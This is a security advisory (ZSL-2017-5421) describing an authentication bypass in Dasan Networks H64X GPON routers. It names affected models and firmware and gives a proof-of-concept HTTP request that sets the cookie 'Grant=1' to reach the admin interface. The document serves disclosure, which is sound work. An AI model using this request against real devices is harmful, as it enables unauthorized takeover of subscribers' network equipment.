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Dasan Networks GPON ONT WiFi Router H64X Series Authentication Bypass Vendor: Dasan Networks Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu Affected version: Model: H640GR-02 H640GV-03 H640GW-02 H640RW-02 H645G Firmware: 2.76-9999 2.76-1101 2.67-1070 2.45-1045 Summary: H64xx is comprised of one G-PON uplink port and four ports of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It helps service providers to extend their core optical network all the way to their subscribers, eliminating bandwidth bottlenecks in the last mile. H64xx is integrated device that provide the high quality Internet, telephony service (VoIP) and IPTV or OTT content for home or office. H64xx enable the subscribers to make a phone call whose quality is equal to PSTN at competitive price, and enjoy the high quality resolution live video and service such as VoD or High Speed Internet. Desc: The vulnerable device does not properly perform authentication and authorization, allowing it to be bypassed through cookie manipulation. Setting the Cookie 'Grant' with value 1 (user) or 2 (admin) will bypass security controls in place enabling the attacker to take full control of the device management interface. Tested on: Server: lighttpd/1.4.31 Server: DasanNetwork Solution Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5421 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5421.php 19.05.2017 -- GET /cgi-bin/sysinfo.cgi HTTP/1.1 Host: 192.168.0.1:8080 Upgrade-Insecure-Requests: 1 User-Agent: Bond-James-Bond/007 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.8,mk;q=0.6 Cookie: Grant=1; Language=english; silverheader=3c Connection: close |
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